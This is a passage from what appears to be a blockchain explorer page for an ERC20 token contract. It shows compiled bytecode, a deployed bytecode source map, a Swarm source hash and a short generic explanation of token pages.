50505050565b6000610ca68284610ee7565b9392505050565b6000610ca68284610f06565b6000610ca68284610f28565b6000610ca68284610ed0565b600060208083528351808285015260005b81811015610cfe57858101830151858201604001528201610ce2565b81811115610d10576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d3d57600080fd5b919050565b60008060408385031215610d5557600080fd5b610d5e83610d26565b946020939093013593505050565b600080600060608486031215610d8157600080fd5b610d8a84610d26565b9250610d9860208501610d26565b9150604084013590509250925092565b600060208284031215610dba57600080fd5b610ca682610d26565b80358015158114610d3d57600080fd5b60008060408385031215610de657600080fd5b610def83610d26565b9150610dfd60208401610dc3565b90509250929050565b60008060408385031215610e1957600080fd5b610e2283610d26565b9150610dfd60208401610d26565b600060208284031215610e4257600080fd5b610ca682610dc3565b600181811c90821680610e5f57607f821691505b602082108103610e7f57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015610ee257610ee2610eba565b500390565b6000816000190483118215151615610f0157610f01610eba565b500290565b600082610f2357634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115610f3b57610f3b610eba565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212207c73ddcad7959ebcd54741f66619baa4ed4992474da2f92d20102df8ece15e8a64736f6c634300080e0033
Deployed Bytecode Sourcemap
4401:8725:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6658:89;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4715:30;;;;;;;;;;;;;;;;;;;762:25:1;;;750:2;735:18;4715:30:0;616:177:1;7523:167:0;;;;;;;;;;-1:-1:-1;7523:167:0;;;;;:::i;:::-;;:::i;:::-;;;1400:14:1;;1393:22;1375:41;;1363:2;1348:18;7523:167:0;1235:187:1;6947:106:0;;;;;;;;;;-1:-1:-1;7033:12:0;;6947:106;;7696:333;;;;;;;;;;-1:-1:-1;7696:333:0;;;;;:::i;:::-;;:::i;4620:44::-;;;;;;;;;;;;;;;;4497:35;;;;;;;;;;-1:-1:-1;4497:35:0;;;;;;;;4671:37;;;;;;;;;;;;;;;;6852:89;;;;;;;;;;-1:-1:-1;6924:9:0;;6852:89;;6924:9;;;;1902:36:1;;1890:2;1875:18;6852:89:0;1760:184:1;13002:35:0;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2113:32:1;;;2095:51;;2083:2;2068:18;13002:35:0;1949:203:1;7059:123:0;;;;;;;;;;-1:-1:-1;7059:123:0;;;;;:::i;:::-;;:::i;3441:159::-;;;;;;;;;;;;;:::i;:::-;;12193:99;;;;;;;;;;-1:-1:-1;12193:99:0;;;;;:::i;:::-;;:::i;4539:32::-;;;;;;;;;;-1:-1:-1;4539:32:0;;;;;;;;;;;4983:64;;;;;;;;;;;;;;;;3204:94;;;;;;;;;;;;;:::i;6480:170::-;;;;;;;;;;-1:-1:-1;6480:170:0;;;;;:::i;:::-;;:::i;6753:93::-;;;;;;;;;;;;;:::i;7188:174::-;;;;;;;;;;-1:-1:-1;7188:174:0;;;;;:::i;:::-;;:::i;12923:36::-;;;;;;;;;;-1:-1:-1;12923:36:0;;;;-1:-1:-1;;;;;12923:36:0;;;12966:29;;;;;;;;;;-1:-1:-1;12966:29:0;;;;-1:-1:-1;;;;;12966:29:0;;;13081:41;;;;;;;;;;;;;;;7368:149;;;;;;;;;;-1:-1:-1;7368:149:0;;;;;:::i;:::-;-1:-1:-1;;;;;7482:18:0;;;7455:7;7482:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7368:149;12594:109;;;;;;;;;;-1:-1:-1;12594:109:0;;;;;:::i;:::-;;:::i;6658:89::-;6701:13;6734:5;6727:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6658:89;:::o;7523:167::-;7604:4;7621:39;187:10;7644:7;7653:6;7621:8;:39::i;:::-;-1:-1:-1;7678:4:0;7523:167;;;;:::o;7696:333::-;7806:4;7820:36;7830:6;7838:9;7849:6;7820:9;:36::i;:::-;7867:131;7876:6;187:10;7898:99;7936:6;7898:99;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7898:19:0;;;;;;:11;:19;;;;;;;;187:10;7898:33;;;;;;;;;;:37;:99::i;:::-;7867:8;:131::i;:::-;-1:-1:-1;8017:4:0;7696:333;;;;;:::o;7059:123::-;-1:-1:-1;;;;;7158:16:0;7131:7;7158:16;;;:7;:16;;;;;;;7059:123::o;3441:159::-;187:10;3344:7;:5;:7::i;:::-;-1:-1:-1;;;;;3344:23:0;;3336:78;;;;-1:-1:-1;;;3336:78:0;;;;;;;:::i;:::-;;;;;;;;;3554:1:::1;3538:6:::0;;3517:40:::1;::::0;-1:-1:-1;;;;;3538:6:0;;::::1;::::0;3517:40:::1;::::0;3554:1;;3517:40:::1;3595:1;3568:29:::0;;-1:-1:-1;;;;;;3568:29:0::1;::::0;;3441:159::o;12193:99::-;187:10;3344:7;:5;:7::i;:::-;-1:-1:-1;;;;;3344:23:0;;3336:78;;;;-1:-1:-1;;;3336:78:0;;;;;;;:::i;:::-;12193:99;:::o;3204:94::-;3256:7;3283:6;-1:-1:-1;;;;;3283:6:0;;3204:94::o;6480:170::-;187:10;3344:7;:5;:7::i;:::-;-1:-1:-1;;;;;3344:23:0;;3336:78;;;;-1:-1:-1;;;3336:78:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6583:33:0;;;::::1;;::::0;;;:20:::1;:33;::::0;;;;:59;;-1:-1:-1;;6583:59:0::1;::::0;::::1;;::::0;;;::::1;::::0;;6480:170::o;6753:93::-;6798:13;6831:7;6824:14;;;;;:::i;7188:174::-;7272:4;7289:52;187:10;7323:9;7334:6;7289:9;:52::i;12594:109::-;187:10;3344:7;:5;:7::i;:::-;-1:-1:-1;;;;;3344:23:0;;3336:78;;;;-1:-1:-1;;;3336:78:0;;;;;;;:::i;:::-;12666:14:::1;:29:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;12666:29:0;;::::1;::::0;;;::::1;::::0;;12594:109::o;11814:370::-;-1:-1:-1;;;;;11907:19:0;;11899:78;;;;-1:-1:-1;;;11899:78:0;;4397:2:1;11899:78:0;;;4379:21:1;4436:2;4416:18;;;4409:30;4475:34;4455:18;;;4448:62;-1:-1:-1;;;4526:18:1;;;4519:34;4570:19;;11899:78:0;4195:400:1;11899:78:0;-1:-1:-1;;;;;11996:21:0;;11988:78;;;;-1:-1:-1;;;11988:78:0;;4802:2:1;11988:78:0;;;4784:21:1;4841:2;4821:18;;;4814:30;4880:34;4860:18;;;4853:62;-1:-1:-1;;;4931:18:1;;;4924:32;4973:19;;11988:78:0;4600:398:1;11988:78:0;-1:-1:-1;;;;;12077:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:46;;;12130;;762:25:1;;;12130:46:0;;735:18:1;12130:46:0;;;;;;;11814:370;;;:::o;8678:1043::-;8786:1;8777:6;:10;8769:74;;;;-1:-1:-1;;;8769:74:0;;5205:2:1;8769:74:0;;;5187:21:1;5244:2;5224:18;;;5217:30;5283:34;5263:18;;;5256:62;-1:-1:-1;;;5334:18:1;;;5327:39;5383:19;;8769:74:0;5003:405:1;8769:74:0;-1:-1:-1;;;;;8885:20:0;;8854:17;8885:20;;;:14;:20;;;;;;;;8884:21;:64;;;;-1:-1:-1;;;;;;8930:18:0;;;;;;:14;:18;;;;;;;;8929:19;8884:64;8881:225;;;8980:4;8965:19;;9025:23;;9005:6;:43;;8997:106;;;;-1:-1:-1;;;8997:106:0;;5615:2:1;8997:106:0;;;5597:21:1;5654:2;5634:18;;;5627:30;5693:34;5673:18;;;5666:62;-1:-1:-1;;;5744:18:1;;;5737:38;5792:19;;8997:106:0;5413:404:1;8997:106:0;-1:-1:-1;;;;;9125:26:0;;;;;;:20;:26;;;;;;;;9124:27;:66;;;;-1:-1:-1;;;;;;9166:24:0;;;;;;:20;:24;;;;;;;;9165:25;9124:66;9116:138;;;;-1:-1:-1;;;9116:138:0;;6024:2:1;9116:138:0;;;6006:21:1;6063:2;6043:18;;;6036:30;6102:34;6082:18;;;6075:62;-1:-1:-1;;;6153:18:1;;;6146:47;6210:19;;9116:138:0;5822:413:1;9116:138:0;9267:25;9295:24;9313:4;9295:9;:24::i;:::-;9267:52;;9355:23;;9324:17;:54;9321:117;;-1:-1:-1;9412:23:0;;9321:117;9439:62;9473:4;9478:2;9481:6;9488:12;9439:19;:62::i;:::-;9541:2;-1:-1:-1;;;;;9508:44:0;9535:4;-1:-1:-1;;;;;9508:44:0;-1:-1:-1;;;;;;;;;;;9545:6:0;9508:44;;;;762:25:1;;750:2;735:18;;616:177;9508:44:0;;;;;;;;9559:14;;;;;;;9554:160;;9614:7;:5;:7::i;:::-;-1:-1:-1;;;;;9606:15:0;:4;-1:-1:-1;;;;;9606:15:0;;9576:135;;;;-1:-1:-1;;;9576:135:0;;6442:2:1;9576:135:0;;;6424:21:1;6481:2;6461:18;;;6454:30;6520:34;6500:18;;;6493:62;6591:33;6571:18;;;6564:61;6642:19;;9576:135:0;6240:427:1;9576:135:0;8757:964;;8678:1043;;;:::o;1877:174::-;1975:7;2014:12;2006:6;;;;1998:29;;;;-1:-1:-1;;;1998:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2036:5:0;;;1877:174::o;12715:201::-;12841:67;12868:6;12876:9;12887:6;12895:12;12841:20;:67::i;:::-;12715:201;;;;:::o;10519:857::-;10668:26;10710:12;10706:78;;;10752:28;10776:3;10752:19;:12;10769:1;10752:16;:19::i;:::-;:23;;:28::i;:::-;10725:55;;10706:78;10795:23;10821:43;10846:18;10821:12;:43;:::i;:::-;-1:-1:-1;;;;;10907:18:0;;;;;;:7;:18;;;;;;10795:69;;-1:-1:-1;10907:39:0;;10795:69;10907:22;:39::i;:::-;-1:-1:-1;;;;;10876:18:0;;;;;;:7;:18;;;;;:70;;;:18;10994:49;;11027:15;10994:32;:49::i;:::-;-1:-1:-1;;;;;11073:25:0;;;;;;:7;:25;;;;;;10960:83;;-1:-1:-1;11073:46:0;;11103:15;11073:29;:46::i;:::-;-1:-1:-1;;;;;11045:15:0;;;;;;:7;:15;;;;;;;;:74;;;;11163:14;:22;;;;;;;;:61;;;;-1:-1:-1;;;;;;11199:25:0;;;;;;:14;:25;;;;;;;;11163:61;11131:93;;11250:14;11246:128;;;-1:-1:-1;;;;;11268:18:0;;;;;;:7;:18;;;;;:33;;;11246:128;;;11344:9;-1:-1:-1;;;;;11326:45:0;11336:6;-1:-1:-1;;;;;11326:45:0;-1:-1:-1;;;;;;;;;;;11355:15:0;11326:45;;;;762:25:1;;750:2;735:18;;616:177;11326:45:0;;;;;;;;11246:128;10656:720;;;;10519:857;;;;:::o;1568:95::-;1632:7;1650:5;1654:1;1650;:5;:::i;:::-;1643:12;1568:95;-1:-1:-1;;;1568:95:0:o;1669:::-;1733:7;1751:5;1755:1;1751;:5;:::i;1366:95::-;1430:7;1448:5;1452:1;1448;:5;:::i;1467:95::-;1531:7;1549:5;1553:1;1549;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;798:173::-;866:20;;-1:-1:-1;;;;;915:31:1;;905:42;;895:70;;961:1;958;951:12;895:70;798:173;;;:::o;976:254::-;1044:6;1052;1105:2;1093:9;1084:7;1080:23;1076:32;1073:52;;;1121:1;1118;1111:12;1073:52;1144:29;1163:9;1144:29;:::i;:::-;1134:39;1220:2;1205:18;;;;1192:32;;-1:-1:-1;;;976:254:1:o;1427:328::-;1504:6;1512;1520;1573:2;1561:9;1552:7;1548:23;1544:32;1541:52;;;1589:1;1586;1579:12;1541:52;1612:29;1631:9;1612:29;:::i;:::-;1602:39;;1660:38;1694:2;1683:9;1679:18;1660:38;:::i;:::-;1650:48;;1745:2;1734:9;1730:18;1717:32;1707:42;;1427:328;;;;;:::o;2157:186::-;2216:6;2269:2;2257:9;2248:7;2244:23;2240:32;2237:52;;;2285:1;2282;2275:12;2237:52;2308:29;2327:9;2308:29;:::i;2348:160::-;2413:20;;2469:13;;2462:21;2452:32;;2442:60;;2498:1;2495;2488:12;2513:254;2578:6;2586;2639:2;2627:9;2618:7;2614:23;2610:32;2607:52;;;2655:1;2652;2645:12;2607:52;2678:29;2697:9;2678:29;:::i;:::-;2668:39;;2726:35;2757:2;2746:9;2742:18;2726:35;:::i;:::-;2716:45;;2513:254;;;;;:::o;2999:260::-;3067:6;3075;3128:2;3116:9;3107:7;3103:23;3099:32;3096:52;;;3144:1;3141;3134:12;3096:52;3167:29;3186:9;3167:29;:::i;:::-;3157:39;;3215:38;3249:2;3238:9;3234:18;3215:38;:::i;3264:180::-;3320:6;3373:2;3361:9;3352:7;3348:23;3344:32;3341:52;;;3389:1;3386;3379:12;3341:52;3412:26;3428:9;3412:26;:::i;3449:380::-;3528:1;3524:12;;;;3571;;;3592:61;;3646:4;3638:6;3634:17;3624:27;;3592:61;3699:2;3691:6;3688:14;3668:18;3665:38;3662:161;;3745:10;3740:3;3736:20;3733:1;3726:31;3780:4;3777:1;3770:15;3808:4;3805:1;3798:15;3662:161;;3449:380;;;:::o;3834:356::-;4036:2;4018:21;;;4055:18;;;4048:30;4114:34;4109:2;4094:18;;4087:62;4181:2;4166:18;;3834:356::o;6672:127::-;6733:10;6728:3;6724:20;6721:1;6714:31;6764:4;6761:1;6754:15;6788:4;6785:1;6778:15;6804:125;6844:4;6872:1;6869;6866:8;6863:34;;;6877:18;;:::i;:::-;-1:-1:-1;6914:9:1;;6804:125::o;6934:168::-;6974:7;7040:1;7036;7032:6;7028:14;7025:1;7022:21;7017:1;7010:9;7003:17;6999:45;6996:71;;;7047:18;;:::i;:::-;-1:-1:-1;7087:9:1;;6934:168::o;7107:217::-;7147:1;7173;7163:132;;7217:10;7212:3;7208:20;7205:1;7198:31;7252:4;7249:1;7242:15;7280:4;7277:1;7270:15;7163:132;-1:-1:-1;7309:9:1;;7107:217::o;7329:128::-;7369:3;7400:1;7396:6;7393:1;7390:13;7387:39;;;7406:18;;:::i;:::-;-1:-1:-1;7442:9:1;;7329:128::o
Swarm Source
ipfs://7c73ddcad7959ebcd54741f66619baa4ed4992474da2f92d20102df8ece15e8a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.